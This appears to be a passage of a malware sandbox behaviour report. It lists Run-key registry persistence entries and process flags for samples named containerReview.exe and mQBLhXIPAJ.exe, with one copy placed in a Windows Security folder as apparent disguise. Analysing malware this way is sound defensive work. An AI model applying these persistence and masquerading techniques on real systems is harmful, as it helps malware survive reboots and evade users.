Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run containerReview	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run containerReview	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run containerReview	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run containerReview	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run containerReview	Jump to behavior

Source: C:\Users\user\Desktop\fatality.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\dbg\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
